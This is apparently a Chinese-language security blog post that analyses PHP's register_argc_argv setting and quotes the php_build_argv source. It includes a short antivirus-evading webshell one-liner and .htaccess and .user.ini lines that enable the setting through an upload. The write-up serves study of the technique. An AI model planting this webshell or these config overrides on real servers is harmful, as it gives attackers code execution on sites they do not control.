對register_argc_argv的分析
簡介
使用
cli模式下,不論是否開始register_argc_argv,都可以獲取命令列或者說外部引數
web模式下,只有開啟了register_argc_argv,才可以獲取外部引數
未開啟register_argc_argv時
開啟register_argc_argv
可以看到,在處理argv時,不是以&作為分隔符,而是以+作為分隔符
學會了register_argc_argv後,它對於安全有什麼威脅呢?
修改程式碼
進行檢視
可以看到,當開啟register_argc_argv後,Cli模式下會註冊兩個全域性變數$argc,$argv。也就是說它同時在$_SERVER中和超全域性變數中建立了對應的引數資訊。
(這樣就有可能出現變數覆蓋的情況)
可以看見其中是以+號作為分隔符,而不是&
原始碼分析
/* {{{ php_build_argv */
PHPAPI void php_build_argv(const char *s, zval *track_vars_array)
{
zval arr, argc, tmp;
int count = 0;
if (!(SG(request_info).argc || track_vars_array)) {
return;
}
array_init(&arr);
/* Prepare argv */
if (SG(request_info).argc) { /* are we in cli sapi? */
int i;
for (i = 0; i < SG(request_info).argc; i++) {
ZVAL_STRING(&tmp, SG(request_info).argv[i]);
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
}
} else if (s && *s) {
while (1) {
const char *space = strchr(s, '+'); //分隔符的設定
/* auto-type */
ZVAL_STRINGL(&tmp, s, space ? space - s : strlen(s));
count++;
if (zend_hash_next_index_insert(Z_ARRVAL(arr), &tmp) == NULL) {
zend_string_efree(Z_STR(tmp));
}
if (!space) {
break;
}
s = space + 1;
}
}
/* prepare argc */
if (SG(request_info).argc) {
ZVAL_LONG(&argc, SG(request_info).argc);
} else {
ZVAL_LONG(&argc, count);
}
if (SG(request_info).argc) {
Z_ADDREF(arr);
zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);
zend_hash_update(&EG(symbol_table), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);
}
if (track_vars_array && Z_TYPE_P(track_vars_array) == IS_ARRAY) {
Z_ADDREF(arr);
zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGV), &arr);
zend_hash_update(Z_ARRVAL_P(track_vars_array), ZSTR_KNOWN(ZEND_STR_ARGC), &argc);
}
zval_ptr_dtor_nogc(&arr);
}
漏洞利用
用這個特性寫個高免殺一句話
<?php
$argv = $_SERVER['argv'];
// var_dump($argv);
$argv[0]($argv[1]);
但是說了這麼多,前提得是register_argc_argv開啟得情況下,但預設是不開啟的,所以這裡就到此gg了嘛???看了一個大師傅的部落格,發現並非如此
可以看到該屬性的設定許可權為php_ini_perdir,檢視配置許可權
php中對於配置的設定,設定了許可權,即並非任何時刻任何地點都能對配置引數進行設定
柳暗花明又一村
於是乎,就算配置中預設沒開啟register_argc_argv選項,但我們可以先上傳一個.htaccess(Apache)或.user.ini來對配置進行覆蓋
.htaccess
php_value register_argc_argv On
.user.ini
register_argc_argv=On
直接嘗試
不知道為什麼本地就是不成功,按道理應該是可以的..
折騰了小一會兒,突然想起來會不會是沒開啟.htaccess覆蓋模式
將配置修改好後,再次訪問成功
漏洞利用(2)
總結
姿勢是真的騷,基礎是真的ε=ε=ε=( ̄▽ ̄)
缺少必要的開發及運維知識,導致對很多配置都不熟悉。。。
- .htaccess為什麼可以被訪問?
是因為未對請求的資源進行過濾,導致可以訪問.htaccess或.user.ini
2.apache重寫模組配置
https://www.cnblogs.com/liluxiang/p/9450826.html